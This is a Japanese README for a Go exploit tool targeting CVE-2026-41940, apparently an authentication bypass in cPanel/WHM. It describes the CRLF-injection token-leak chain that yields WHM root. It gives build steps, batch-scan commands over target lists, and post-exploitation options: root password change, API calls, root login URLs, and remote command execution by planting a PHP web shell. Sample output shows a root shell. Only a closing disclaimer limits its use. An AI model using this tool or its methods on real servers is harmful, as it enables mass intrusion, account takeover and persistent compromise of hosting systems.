
Goベースのスキャナおよびエクスプロイトツールで、cPanel/WHMにおける認証バイパスであるCVE-2026-41940に対応しています。バッチスキャン、トークン漏洩、およびRCE、パスワード変更、API呼び出しなどのポストエクスプロイトアクションをサポートします。
watchTowr の Python PoC を Go で書き直したコマンドラインツールで、CVE-2026-41940 cPanel/WHM 認証バイパス脆弱性の検出と悪用を行います。
CVE-2026-41940 は cPanel/WHM の認証バイパス脆弱性で、攻撃チェーンは CRLF インジェクションを Basic Auth ヘッダーに仕込み、セキュリティトークンを漏洩させて WHM root 権限を取得します。
4 段階の攻撃チェーン:
/login/ に誤った認証情報を送信し、生の whostmgrsession cookie を取得Authorization: Basic ヘッダーに改行を注入し、サーバーに 307 リダイレクトの Location ヘッダーで cpsess セキュリティトークンを漏洩させるdo_token_denied をトリガーし、注入した認証データを元のストレージからキャッシュへ伝播させる/json-api/version にアクセスし、root 権限を取得できたか検証http://、https://、プロトコルなしの形式に自動対応し、自動重複排除-passwd)-api)-session)-cmd)[VULN] は赤、[SAFE] は緑で強調表示# Go 1.20+ が必要
cd cpanel-checker
go build -o cpanel-checker .
| パラメータ | 説明 | 例 |
|---|---|---|
-u | 単一のターゲット URL | -u https://1.2.3.4:2087 |
-f | URL リストを含むファイル | -f targets.txt |
-o | 出力ファイルパス (デフォルト result.txt) | -o vuln.txt |
-c | 並列数 (デフォルト 10) | -c 20 |
-hostname | Host ヘッダーを手動指定 (デフォルトは自動検出) | -hostname cpanel.example.com |
-passwd | root パスワードを変更 (-u モードのみ) | -passwd NewP@ss123 |
-api | WHM API 関数を呼び出し (-u モードのみ) | -api listaccts |
-api-params | WHM API パラメータ(カンマ区切り) | -api-params user=root,password=123 |
-session | root ワンクリックログイン URL を生成 (-u モードのみ) | -session |
-keep | RCE の一時アカウントを削除せず保持 (-cmd と併用) | -keep |
-cmd | リモートコマンドを実行 / RCE (-u モードのみ) | -cmd "id" |
./cpanel-checker -u https://target:2087
ポートはデフォルトで 2087 です。以下の書き方も同等です:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt は以下の形式に対応しています(1 行に 1 つ、# で始まる行はコメント):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# これはコメントです
http://1.1.1.1 と https://1.1.1.1 は同一ターゲットとみなされ、1 回だけスキャンされますhttps:// が補完されます2087 が使用されますresult.txt に保存されます(-o でカスタマイズ可能)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# すべてのアカウントを一覧表示
./cpanel-checker -u https://target:2087 -api listaccts
# パラメータ付きで呼び出し
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
URL が出力されるので、ブラウザで開くと WHM 管理パネルに入れます。パネル内の Terminal 機能を使用すると、対話型の root シェルを取得できます。
注意:
-sessionは半自動です — ツールがログイン URL を生成した後、手動でブラウザで開く必要があります。
./cpanel-checker -u https://target:2087 -cmd "id"
-keep を付けると一時アカウントを保持し、cPanel 管理画面へのログインに使用できます:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
-keep を使用すると、出力に一時アカウントのユーザー名、パスワード、cPanel ログインアドレス(https://host:2083)が含まれます。これらの認証情報で cPanel パネルに直接ログインできます。
-cmd は全自動で、他の手動操作は不要です。内部フロー:
Fileman::save_file_content) 経由で PHP シェルを ~/public_html/ に書き込みhttps://host/~tmpuser/shell.php にアクセスしてコマンドを実行前提条件:ターゲットの 80 または 443 ポートに到達可能であり、Apache/httpd が実行されている必要があります。
複数の悪用パラメータを同時に使用できます:
# ログイン URL の取得、コマンド実行、パスワード変更を同時に行う
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
ターゲット IP が cPanel 設定のホスト名と一致しない場合、手動で指定できます:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
デフォルトでは、ツールは /openid_connect/cpanelid の 307 リダイレクトを通じて正しいホスト名を自動検出します。
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== スキャン完了 ==========
合計: 5 | 脆弱性あり: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] 結果は result.txt に保存されました
[*] ターゲット: https://target:2087
[*] モード: 脆弱性の悪用
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] WHM root 権限を取得しました
[*] リモートコマンドを実行中 (RCE)...
[a] 一時アカウントを作成: tmpabcde
[b] シェルを書き込み: /home/tmpabcde/public_html/random.php
[c] コマンドを実行: id
[d] 一時アカウントをクリーンアップ: tmpabcde
[+] コマンド出力:
uid=0(root) gid=0(root) groups=0(root)
[+] 完了。https://target:2087 は制御下にあります
-passwd、-api、-session、-cmd) は -u 単一ターゲットモードでのみ使用可能で、-f バッチモードには対応していません# で始まる行は無視されます本ツールは許可されたセキュリティテストおよび研究専用です。許可なくシステムをテストすることは違法行為です。利用者は、対象システムの所有者から明確な書面による許可を得ていることを確認する必要があります。作者は不正使用によるいかなる責任も負いません。